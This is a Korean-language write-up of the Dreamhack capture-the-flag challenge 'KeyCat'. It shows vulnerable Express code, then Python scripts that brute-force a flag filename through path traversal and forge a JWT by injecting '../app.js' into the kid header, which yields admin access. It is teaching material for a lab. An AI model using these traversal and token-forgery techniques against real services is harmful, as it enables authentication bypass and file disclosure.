KeyCat



index.js / jwt.js

루트(/) 경로로 접근할 때, 쿼리 스트링에 filename 파라미터를 함께 전달할 수 있다.
이 때 전달하는 filename 이 웹 서비스를 구동하고 있는 대상 호스트 서버에 존재하는 경우에는
새로운 JWT 토큰이 발급되는 구조이다.

// index.js
const { sign } = require('../jwt');
const router = require('express').Router();
const { Auth } = require('../middleware/auth')
 
router.get('/', Auth, async (req, res) => {
 
    try {
        const filename = req.query.fn;
        if (filename !== undefined) {
            const token = await sign(filename);
            return res.send(`Hey this is new token ${token}`);
        }
        return res.send('Hi 😺');
    } catch (e) {
        return res.status(404).send('File not found....');
 
    }
 
 
})
 
module.exports = router
// jwt.js
const fs = require('fs');
const jwt = require('jsonwebtoken');
 
//                  /home/cat/deploy/keys   
const PATH_PREFIX = __dirname + '/keys'
 
const sign = async (filename) => {
    const KEY = fs.readFileSync(PATH_PREFIX + '/' + filename, 'utf-8');
    return jwt.sign({ filename: filename, username: 'dreamhack' }, KEY, { keyid: filename, algorithm: 'HS256' });
}
 
const verify = (token) => {
    let jwt_data = undefined
    let error = undefined
    jwt.verify(token, (header, cb) => { cb(null, fs.readFileSync(PATH_PREFIX + '/' + header.kid, 'utf-8')); }, { algorithm: 'HS256' }, (err, data) => {
 
        error = err;
        jwt_data = data;
 
    }
    )
 
    return { 'jwt_data': jwt_data, 'err': error };
 
}
 
module.exports = {
    sign,
    verify
}   

entrypoint.sh

이 파일에서 볼 수 있듯이 플래그 파일명은 flag??.txt 구조로 구성되어 있었으며,
FLAG 내용은 FLAG_CONTETNT_1, FLAG_CONTETNT_2 두 부분으로 나뉘어져 있었다.
여기서 실제 플래그명이 어떤 값으로 구성됐는지 모르기 때문에 이를 알아내야 하는데,
앞선 과정에서 인덱스(/) 경로로 접속했을 때 filename 파라미터에 유효한 파일경로/파일명을 전달하면
서버에서 새로운 JWT 토큰을 발급해주는 것을 확인했으므로 이 점을 활용하면 플래그명을 추출할 수 있다.


플래그명은 아래 코드를 사용하여 간단히 추출해 볼 수 있다. 플래그명은 [a-f0-9] 문자만 올 수 있다는 조건을 확인했다.
이는 16진수와 동일하므로 256(16^2)개 만큼만 전수공격을 수행하면 유효한 플래그명을 획득할 수 있다.

  • /home/cat/deploy/flag39.txt
import requests
import os
import re
from itertools import product
 
# 1. 설정
BASE_URL = "http://host3.dreamhack.games:10495"
TARGET_URL = f"{BASE_URL}/cat/flag"
INIT_COOKIE = {'session': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImtleTEifQ.eyJmaWxlbmFtZSI6ImtleTEiLCJ1c2VybmFtZSI6ImRyZWFtaGFjayIsImlhdCI6MTc3MTUwOTM2MH0._0x8xJO4AnA-bXEeiXecZxQO34I33KUlTm-L4pUAH_4'}
JWT_PATTERN = r"ey[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+"
 
# 2. 16진수 2자리 조합 생성 (00 ~ ff)
hex_chars = '0123456789abcdef'
combinations = [''.join(i) for i in product(hex_chars, repeat=2)]
 
print(f"[*] 총 {len(combinations)}개의 조합에 대해 브루트포스를 시작합니다.")
 
for bf in combinations:
    # (1) /home/cat/deploy/keys/{파일명}
    # (2) /home/cat/deploy/flag$FLAG.txt
    create_jwt_url = f"{BASE_URL}/?fn=../flag{bf}.txt"
 
    # (3) 신규 JWT 토큰을 생성하는 URL로 GET 요청 전달
    create_jwt_response = requests.get(create_jwt_url, cookies=INIT_COOKIE)
    
    if (create_jwt_response.status_code == 200):
        # (4) GET 요청 결과(응답) 중 JWT 값만 추출
        token = re.search(JWT_PATTERN, create_jwt_response.text)
        print(f"[*] Valid JWT Token has been found.\n\t{str(token.group())}")
        cookies = {"session": str(token.group())}
        
        try:
            # (5) 파일명이 존재하면 JWT 토큰이 발급되는 원리를 이용하여 플래그 파일명(flag??.txt)을 추출
            response = requests.get(TARGET_URL, cookies=cookies)
            print(response)
            
            # 성공 조건 (응답에 🙀나 특정 문자열이 포함된 경우)
            if "🙀" in response.text or response.status_code == 200:
                print(f"[+] 성공! FLAG 발견: {flag_suffix}")
                print(f"[+] 응답 내용: {response.text}")
                break
                
        except Exception as e:
            continue
 
print("[*] 탐색 종료.")
 
'''
결과
[*] 총 256개의 조합에 대해 브루트포스를 시작합니다.
[*] Valid JWT Token has been found.
        → eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL2ZsYWczOS50eHQifQ.eyJmaWxlbmFtZSI6Ii4uL2ZsYWczOS50eHQiLCJ1c2VybmFtZSI6ImRyZWFtaGFjayIsImlhdCI6MTc3MTUwOTQ5NH0.yittusCtV-BKiOyaPqnOJRvJFxfNdXscDJ8e9zE5UY4
<Response [200]>
[*] 탐색 종료.
'''

FLAG_CONTENT_1

획득한 JWT 토큰을 /cat/flag 경로로 요청을 보낼 때 세션 값으로 사용해주면 첫 번째 플래그 부분을 구할 수 있다.

  • 🙀🙀🙀🙀🙀🙀 DH{90b12bc264e96c4bec8ebef17cf4e45

FLAG_CONTENT_2

“FLAG_CONTENT_2” 부분을 알기 위해서는 cat.js 파일의 37-45번째 라인에서 39번째 라인이 참 값을 반환해야 한다.
이를 위해서는 JWT 토큰 바디의 “username” 값으로 “cat_master” 값이 와야만 한다.


이 때 주목해야 할 점은 JWT 토큰을 생성할 때 사용되는 키로 사용자가 입력한 파일의 내용이 사용된다는 점이다.
filename은 사용자가 조작할 수 있는 부분이므로, 서버에 존재하는 파일의 내용을 KEY 값으로 지정해준 후에
따라서, username 이 “cat_master” 인 새로운 JWT 토큰을 발급해주면 두 번째 플래그도 획득할 수 있다.


키 값으로 사용할 파일은 /home/cat/deploy/app.js 파일을 선택했다.
파이썬에서 제공하는 jwt 모듈을 사용하면 간단하게 JWT 토큰을 생성할 수 있다.

import jwt
 
# 1. 설정값 (서버 환경에 맞춰 변경)
# FLAG_FILE_NAME이 "flag.txt"이고, 이를 키로 사용하기 위해 경로 조작(../) 포함
target_file = "../app.js" 
# 실제 flag.txt의 내용을 알고 있어야 서명이 성공합니다. 
# 만약 내용을 모른다면 이 방식은 서버가 '이미 알고 있는 파일'을 키로 쓰게 유도하는 용도입니다.
known_content = """const express = require("express");
const cookieParser = require("cookie-parser");
const path = require('path');
const fs = require("fs");
var jwt = require('jsonwebtoken');
const router_index = require("./routes/index")
const router_cat = require("./routes/cat")
 
const app = express();
 
const PORT = 3000;
 
app.set('views', path.join(__dirname, '/static/views'));
app.set("view engine", "ejs");
app.use(cookieParser());
app.use(express.urlencoded({
    extended: false
}));
app.use(express.static(__dirname + "/static"))
 
app.use("/", router_index)
app.use("/cat", router_cat)
 
 
 
app.listen(PORT, () => {
    console.log("Start")
})"""
 
# 2. 페이로드 (Payload) 구성
# req.filename.indexOf(FLAG_FILE_NAME)을 통과하기 위해 filename에 target_file 포함
payload = {
    "filename": target_file,
    "username": "cat_master"
}
 
# 3. 헤더 (Header) 구성
# 서버의 verify 함수가 fs.readFileSync(PATH_PREFIX + '/' + header.kid)를 호출하므로 
# kid에 경로 조작 문자열을 넣습니다.
headers = {
    "kid": target_file
}
 
# 4. 토큰 생성 (HS256 알고리즘)
token = jwt.encode(
    payload, 
    known_content, 
    algorithm="HS256", 
    headers=headers
)
 
print(f"Generated Token: {token}")
 
''''결과
Generated Token: eyJhbGciOiJIUzI1NiIsImtpZCI6Ii4uL2FwcC5qcyIsInR5cCI6IkpXVCJ9.eyJmaWxlbmFtZSI6Ii4uL2FwcC5qcyIsInVzZXJuYW1lIjoiY2F0X21hc3RlciJ9.225qj9HAuQEL5qSXPCLOkVPuw6rNvURAMhB4O_U14fQ
'''

이후 새로 발급받은 JWT 토큰(username=cat_master)을 /cat/admin 경로로 요청을 보낼 때
요청 헤더에 담아 서버로 전달하면, 두 번째 플래그 조각을 반환해준다.

  • Hello Cat Master😸 this is for you 729242b7b14835a0255ee340d92b9c19d}

이제 1, 2번째 플래그 조각을 합치면 문제 풀이가 가능하다.
DH{90b12bc264e96c4bec8ebef17cf4e45 + 729242b7b14835a0255ee340d92b9c19d}


🐛.. 🐛.. 🐛..